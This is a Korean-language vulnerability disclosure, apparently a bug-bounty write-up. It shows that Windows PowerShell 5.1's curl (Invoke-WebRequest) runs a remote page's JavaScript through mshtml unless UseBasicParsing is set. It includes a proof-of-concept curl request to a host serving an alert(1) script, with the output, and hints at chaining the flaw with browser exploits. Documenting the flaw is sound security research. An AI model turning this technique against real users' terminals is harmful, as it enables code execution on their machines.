
Powershell의 curl은 내부적으로 Invoke-WebRequest를 사용합니다.
PS C:\Users\melih> curl
cmdlet Invoke-WebRequest at command pipeline position 1
Supply values for the following parameters:
Uri:
UseBasicParsing 매개변수의 문서를 살펴보면,
이 매개변수는 더 이상 사용되지 않습니다. PowerShell 6.0.0부터 모든 웹 요청은 기본 구문 분석만 사용합니다. 이 매개변수는 이전 버전과의 호환성을 위해서만 포함되며, 이를 사용해도 cmdlet의 작동에는 아무런 영향이 없습니다.
문제는 Powershell의 Invoke-WebRequest cmdlet의 UseBasicParsing에 있습니다. UseBasicParsing은 기본 구문 분석을 사용하므로 어떤 JavaScript 코드도 평가하지 않습니다. 단지 텍스트를 읽어서 구문 분석할 뿐입니다.
이 매개변수가 제공되지 않으면 Invoke-WebRequest는 내부적으로 Internet Explorer를 실행하고 mshtml.HTMLDocumentClass를 사용하여 HTML 코드를 실제로 평가하면서 구문 분석을 시도합니다. JavaScript 코드를 호스팅하는 웹사이트에 curl 요청을 수행하면 클라이언트 브라우저에서 코드가 실행됩니다. 우리의 경우에는 Windows 터미널입니다.
mshtml.HTMLDocumentClass 문서는 아래에서 확인할 수 있습니다.
https://learn.microsoft.com/en-us/dotnet/api/system.windows.forms.htmldocument
위의 첫 번째 문서에서 수명 주기를 살펴보면 다음과 같은 것을 알 수 있습니다,
Windows PowerShell 5.1 2016년 8월 - Windows 10 기념 업데이트 및 Windows Server 2016에서 출시, WMF 5.1 PowerShell 6.0 2018년 1월 20일 - 2019년 2월 13일 .NET Core 2.0 기반으로 구축 (https://github.com/dotnet/core/blob/main/release-notes/2.0/2.0-supported-os.md)
조사 결과, 최신 버전의 Windows 11, Server 22 및 25에는 XSS 공격에 취약한 이전 버전의 PowerShell(5.1 및 기본값)이 포함되어 있음을 확인했습니다.
새로운 Windows Server 22 설치,

공격은 매우 간단합니다;
curl을 실행하면 실행이 표시됩니다.
PS C:\Users\melih> curl 172.27.223.167:8000/a.js
StatusCode : 200
StatusDescription : OK
Content : <script>alert(1)</script>
RawContent : HTTP/1.0 200 OK
Content-Length: 26
Content-Type: text/javascript
Date: Tue, 09 Dec 2025 15:50:40 GMT
Last-Modified: Tue, 09 Dec 2025 15:47:18 GMT
Server: SimpleHTTP/0.6 Python/3.12.3
<script>a...
Forms : {}
Headers : {[Content-Length, 26], [Content-Type, text/javascript], [Date, Tue, 09 Dec
2025 15:50:40 GMT], [Last-Modified, Tue, 09 Dec 2025 15:47:18 GMT]...}
Images : {}
InputFields : {}
Links : {}
ParsedHtml : mshtml.HTMLDocumentClass
RawContentLength : 26
open("about:blank") 같은 것을 실행하는 등 창의적인 방법을 사용할 수 있습니다.

또한 이 취약점은 안정적인 실행을 위해 브라우저 익스플로잇과 같은 더 큰 공격 체인에 사용되거나 브라우저 렌더링을 강제하는 데 사용될 수 있다는 점을 고려해야 합니다.
심각도: 중요, 보안 영향: 원격 코드 실행으로 분류되어 $5,000 현상금이 수여되었습니다.